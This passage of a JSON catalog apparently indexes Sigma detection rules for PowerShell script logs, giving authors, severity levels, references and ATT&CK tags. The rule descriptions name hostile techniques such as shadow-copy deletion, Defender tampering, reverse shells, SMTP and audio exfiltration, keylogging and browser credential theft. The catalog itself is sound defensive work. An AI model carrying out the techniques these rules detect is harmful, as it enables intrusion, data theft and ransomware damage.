          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a0edd39f-a0c6-4c17-8141-261f958e8d8f",
      "value": "PowerShell Remote Session Creation"
    },
    {
      "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_extracting.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bd5971a7-626d-46ab-8176-ed643f694f68",
      "value": "Extracting Information with PowerShell"
    },
    {
      "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_win32_shadowcopy.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e17121b4-ef2a-4418-8a59-12fb1631fa9e",
      "value": "Delete Volume Shadow Copies via WMI with PowerShell - PS Script"
    },
    {
      "description": "Detects PowerShell scripts attempting to disable scheduled scanning and other parts of Windows Defender ATP or set default actions to allow.",
      "meta": {
        "author": "frack113, elhoim, Tim Shelton (fps, alias support), Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/16",
        "falsepositive": [
          "Legitimate PowerShell scripts that disable Windows Defender for troubleshooting purposes. Must be investigated."
        ],
        "filename": "posh_ps_tamper_windows_defender_set_mp.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://bidouillesecurity.com/disable-windows-defender-in-powershell/",
          "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_tamper_windows_defender_set_mp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "14c71865-6cd3-44ae-adaa-1db923fae5f2",
      "value": "Tamper Windows Defender - ScriptBlockLogging"
    },
    {
      "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n",
      "meta": {
        "author": "frack113, Tim Shelton (fp AWS)",
        "creation_date": "2021/10/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_windowstyle.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "313fbb0a-a341-4682-848d-6d6f8c4fab7c",
      "value": "Suspicious PowerShell WindowStyle Option"
    },
    {
      "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n",
      "meta": {
        "author": "frack113, MatilJ",
        "creation_date": "2022/01/19",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_msxml_com.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)",
          "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "78aa1347-1517-4454-9982-b338d6df8343",
      "value": "Powershell MsXml COM Object"
    },
    {
      "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.\nThis may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox\n",
      "meta": {
        "author": "frack113, Duc.Le-GTSC",
        "creation_date": "2021/08/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_detect_vm_env.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://techgenix.com/malicious-powershell-scripts-evade-detection/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1497.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d93129cd-1ee0-479f-bc03-ca6f129882e3",
      "value": "Powershell Detect Virtualization Environment"
    },
    {
      "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_via_compress.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "20e5497e-331c-4cd5-8d36-935f6e2a9a07",
      "value": "Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell"
    },
    {
      "description": "Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_alias_obfscuation.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_alias_obfscuation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1027",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e8314f79-564d-4f79-bc13-fbc0bf2660d8",
      "value": "Potential PowerShell Obfuscation Using Character Join"
    },
    {
      "description": "Detects Commandlet names from PowerView of PowerSploit exploitation framework.",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2021/05/18",
        "falsepositive": [
          "Should not be any as administrators do not use this tool"
        ],
        "filename": "posh_ps_powerview_malicious_commandlets.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://powersploit.readthedocs.io/en/stable/Recon/README",
          "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon",
          "https://thedfirreport.com/2020/10/08/ryuks-return",
          "https://adsecurity.org/?p=2277",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dcd74b95-3f36-4ed9-9598-0490951643aa",
      "value": "Malicious PowerView PowerShell Commandlets"
    },
    {
      "description": "Detects creation of a local user via PowerShell",
      "meta": {
        "author": "@ROxPinTeddy",
        "creation_date": "2020/04/11",
        "falsepositive": [
          "Legitimate user creation"
        ],
        "filename": "posh_ps_create_local_user.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_local_user.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.persistence",
          "attack.t1136.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "243de76f-4725-4f2e-8225-a8a69b15ad61",
      "value": "PowerShell Create Local User"
    },
    {
      "description": "Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/04",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "posh_ps_psasyncshell.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/JoelGMSec/PSAsyncShell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psasyncshell.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "afd3df04-948d-46f6-ae44-25966c44b97f",
      "value": "PSAsyncShell - Asynchronous TCP Reverse Shell"
    },
    {
      "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/26",
        "falsepositive": [
          "Legitimate script"
        ],
        "filename": "posh_ps_send_mailmessage.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2",
          "https://www.ietf.org/rfc/rfc2821.txt",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9a7afa56-4762-43eb-807d-c3dc9ffe211b",
      "value": "Powershell Exfiltration Over SMTP"
    },
    {
      "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/11/17",
        "falsepositive": [
          "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often"
        ],
        "filename": "posh_ps_computer_discovery_get_adcomputer.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/",
          "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_computer_discovery_get_adcomputer.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "db885529-903f-4c5d-9864-28fe199e6370",
      "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell"
    },
    {
      "description": "Detects calls to \"Add-Content\" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/08/18",
        "falsepositive": [
          "Legitimate administration and tuning scripts that aim to add functionality to a user PowerShell session"
        ],
        "filename": "posh_ps_user_profile_tampering.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.013/T1546.013.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_profile_tampering.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1546.013"
        ]
      },
      "related": [
        {
          "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "05b3e303-faf0-4f4a-9b30-46cc13e69152",
      "value": "Potential Persistence Via PowerShell User Profile Using Add-Content"
    },
    {
      "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/17",
        "falsepositive": [
          "Rare intended use of hidden services",
          "Rare FP could occur due to the non linearity of the ScriptBlockText log"
        ],
        "filename": "posh_ps_using_set_service_to_hide_services.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Alh4zr3d/status/1580925761996828672",
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_using_set_service_to_hide_services.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "953945c5-22fe-4a92-9f8a-a9edc1e522da",
      "value": "Abuse of Service Permissions to Hide Services Via Set-Service - PS"
    },
    {
      "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\nAdversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors,\nincluding whether or not the adversary fully infects the target and/or attempts specific actions.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_file_and_directory_discovery.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_file_and_directory_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1083"
        ]
      },
      "related": [
        {
          "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d23f2ba5-9da0-4463-8908-8ee47f614bb9",
      "value": "Powershell File and Directory Discovery"
    },
    {
      "description": "Detects suspicious PowerShell invocation command parameters",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/12",
        "falsepositive": [
          "Very special / sneaky PowerShell scripts"
        ],
        "filename": "posh_ps_susp_invocation_generic.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ed965133-513f-41d9-a441-e38076a0798f",
      "value": "Suspicious PowerShell Invocations - Generic"
    },
    {
      "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.",
      "meta": {
        "author": "Ensar Şamil, @sblmsrsn, OSCD Community",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "App-V clients"
        ],
        "filename": "posh_ps_syncappvpublishingserver_exe.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dddfebae-c46f-439c-af7a-fdb6bde90218",
      "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction"
    },
    {
      "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_automated_collection.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1119"
        ]
      },
      "related": [
        {
          "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c1dda054-d638-4c16-afc8-53e007f3fbc5",
      "value": "Automated Collection Command PowerShell"
    },
    {
      "description": "Detects when a user disables the Windows Firewall via a Profile to help evade defense.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_windows_firewall_profile_disabled.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/netsecurity/set-netfirewallprofile?view=windowsserver2019-ps",
          "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html",
          "http://powershellhelp.space/commands/set-netfirewallrule-psv5.php",
          "https://www.tutorialspoint.com/how-to-get-windows-firewall-profile-settings-using-powershell",
          "http://woshub.com/manage-windows-firewall-powershell/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_windows_firewall_profile_disabled.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "488b44e7-3781-4a71-888d-c95abfacf44d",
      "value": "Windows Firewall Profile Disabled"
    },
    {
      "description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_directoryservices_accountmanagement.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell",
          "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1136.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b29a93fb-087c-4b5b-a84d-ee3309e69d08",
      "value": "Manipulation of User Computer or Group Security Principals Across AD"
    },
    {
      "description": "Detects potential exfiltration attempt via audio file using PowerShell",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_audio_exfiltration.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/gtworek/PSBits/blob/e97cbbb173b31cbc4d37244d3412de0a114dacfb/NoDLP/bin2wav.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_audio_exfiltration.yml"
        ],
        "tags": [
          "attack.exfiltration"
        ]
      },
      "uuid": "e4f93c99-396f-47c8-bb0f-201b1fa69034",
      "value": "Potential Data Exfiltration Via Audio File"
    },
    {
      "description": "Detects scripts or commands that disabled the Powershell command history by removing psreadline module",
      "meta": {
        "author": "Ali Alwashali",
        "creation_date": "2022/08/21",
        "falsepositive": [
          "Legitimate script that disables the command history"
        ],
        "filename": "posh_ps_disable_psreadline_command_history.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/DissectMalware/status/1062879286749773824",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_psreadline_command_history.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "602f5669-6927-4688-84db-0d4b7afb2150",
      "value": "Disable Powershell Command History"
    },
    {
      "description": "Adversaries may log user keystrokes to intercept credentials as the user types them.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_keylogging.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1056.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "34f90d3c-c297-49e9-b26d-911b05a4866c",
      "value": "Powershell Keylogging"
    },
    {
      "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_access_to_browser_login_data.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fc028194-969d-4122-8abe-0470d5b8f12f",
      "value": "Access to Browser Login Data"
    },
    {
      "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_mailboxexport_share.yml",
        "level": "critical",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html",
          "https://youtu.be/5mqid-7zp8k?t=2481",
          "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1",
          "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml"
        ],
        "tags": [
